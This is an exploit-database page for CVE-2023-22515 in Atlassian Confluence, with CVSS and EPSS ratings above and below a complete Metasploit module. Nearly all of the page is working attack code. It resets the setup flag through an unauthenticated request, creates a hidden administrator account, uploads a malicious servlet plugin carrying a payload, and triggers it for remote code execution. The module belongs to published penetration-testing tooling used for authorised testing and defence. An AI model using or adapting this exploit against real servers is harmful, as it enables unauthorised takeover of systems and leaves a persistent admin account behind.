Lucene search

K
zdtMetasploit1337DAY-ID-39121
HistoryOct 19, 2023 - 12:00 a.m.

Atlassian Confluence Unauthenticated Remote Code Execution Exploit

2023-10-1900:00:00
metasploit
0day.today
213

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.972 High

EPSS

Percentile

99.8%

This Metasploit module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for Java objects to be modified at run time. The exploit will create a new administrator user and upload a malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2, 8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Retry
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP
          parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for
          Java objects to be modified at run time. The exploit will create a new administrator user and upload a
          malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,
          8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF Exploit & Rapid7 Analysis
        ],
        'References' => [
          ['CVE', '2023-22515'],
          ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'],
          ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
        ],
        'DisclosureDate' => '2023-10-04',
        'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default.
        'Targets' => [
          [
            'Automatic',
            {
              'Platform' => 'java',
              'Arch' => [ARCH_JAVA]
            }
          ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          # Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself.
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        # By default Confluence listens for HTTP requests on TCP port 8090.
        Opt::RPORT(8090),
        # Confluence may have a non default base path, allow user to configure that here.
        OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),
        # The endpoint we target to trigger the vulnerability.
        OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),
        # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
        OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])
    )

    return CheckCode::Unknown('Connection failed') unless res

    # Ensure target is a Confluence server by identifying an expected HTTP header.
    return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time'

    if res.code == 200 && res.body
      # Pull out the version string from one of three known locations within the HTML.
      m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i)
      if m.nil?
        m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i)
        if m.nil?
          m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i)
        end
      end

      unless m.nil?
        version = Rex::Version.new(m[1])

        ranges = [
          ['8.0.0', '8.3.2'],
          ['8.4.0', '8.4.2'],
          ['8.5.0', '8.5.1']
        ]

        # If we have a Confluence server within the given version ranges, it appears vulnerable.
        ranges.each do |min, max|
          if version.between?(Rex::Version.new(min), Rex::Version.new(max))
            return Exploit::CheckCode::Appears("Atlassian Confluence #{version}")
          end
        end

        # By here we know we have a confluence server, but the version found indicates it is safe.
        return Exploit::CheckCode::Safe("Atlassian Confluence #{version}")
      end
    end

    # By here we have identified a Confluence server, but could not get the version number to determine if it is
    # vulnerable of not.
    CheckCode::Detected
  end

  def exploit
    target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])

    print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}")

    # 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => target_endpoint,
      'vars_post' => {
        'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
      }
    )

    unless res&.code == 302 || res&.code == 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}")
    end

    print_status('Creating a new administrator user account...')

    # usernames must be lowercase
    admin_username = rand_text_alpha_lower(8)
    admin_password = rand_text_alphanumeric(8)

    # 2. Create a new administrator user account.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'),
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      },
      'vars_post' => {
        'username' => admin_username,
        'fullName' => rand_text_alphanumeric(8),
        # The email address does not need to be a valid address, but it must contain an @ character.
        'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}",
        'password' => admin_password,
        'confirm' => admin_password,
        'setup-next-button' => 'Next'
      }
    )

    unless res&.code == 302 || res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action')
    end

    print_status("Created #{admin_username}:#{admin_password}")

    # 3. Force the setup to become completed, to allow normal Confluence operations to continue.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'),
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action')
    end

    print_status('Adding a malicious plugin...')

    # 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.
    res = send_request_cgi(
      'method' => 'GET',
      # Note, we concatenate '/' as this is required by the endpoint.
      'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',
      'headers' => {
        'Authorization' => basic_auth(admin_username, admin_password),
        'Accept' => '*/*'
      },
      'vars_get' => {
        'os_authType' => 'basic'
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/')
    end

    upm_token = res.headers['upm-token']
    unless upm_token
      fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/')
    end

    begin
      payload_endpoint = rand_text_alphanumeric(8)

      plugin_key = rand_text_alpha(8)

      # 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string
      # 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).
      jar = payload.encoded_jar(random: true)

      jar.add_file(
        'atlassian-plugin.xml',
        %(
<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">
  <plugin-info>
    <description>#{rand_text_alphanumeric(8)}</description>
    <version>#{rand(1024)}.#{rand(1024)}</version>
  </plugin-info>
  <servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet">
    <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>
  </servlet>
</atlassian-plugin>)
      )

      jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))

      message = Rex::MIME::Message.new

      message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"")

      # 6. Upload the malicious plugin.
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',
        'ctype' => 'multipart/form-data; boundary=' + message.bound,
        'headers' => {
          'Authorization' => basic_auth(admin_username, admin_password),
          'Accept' => '*/*'
        },
        'vars_get' => {
          'token' => upm_token
        },
        'data' => message.to_s
      )

      unless res&.code == 202
        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')
      end

      unless res.body =~ %r{<textarea>(.+)</textarea>}
        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')
      end

      begin
        plugin_json = JSON.parse(::Regexp.last_match(1))
      rescue JSON::ParserError
        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')
      end

      # We receive a JSON object like this:
      # <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>

      links_alternate = plugin_json&.dig('links', 'alternate')
      if links_alternate.nil?
        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')
      end

      print_status('Waiting for plugin to be installed...')

      # 7. The plugin is installed asynchronously, so we poll the server for installation to be completed.
      plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, links_alternate)
        )

        # We receive a JSON result to indicate if the plugin is finished installing.
        # {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}

        if res&.code == 200
          begin
            res_json = JSON.parse(res.body)
            next res_json['done']
          rescue JSON::ParserError
            next false
          end
        end

        false
      end

      unless plugin_ready
        fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')
      end

      print_status('Triggering payload...')

      # 8. Trigger the payload by performing a request to the malicious servlet endpoint.
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)
      )

      unless res&.code == 200
        fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
      end
    ensure
      print_status('Deleting plugin...')

      # 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as
      # Confluence doesnt allow a user to delete themself.
      res = send_request_cgi(
        'method' => 'DELETE',
        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),
        'headers' => {
          'Authorization' => basic_auth(admin_username, admin_password),
          'Connection' => 'close'
        }
      )

      unless res&.code == 204
        print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
      end
    end
  end

end

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.972 High

EPSS

Percentile

99.8%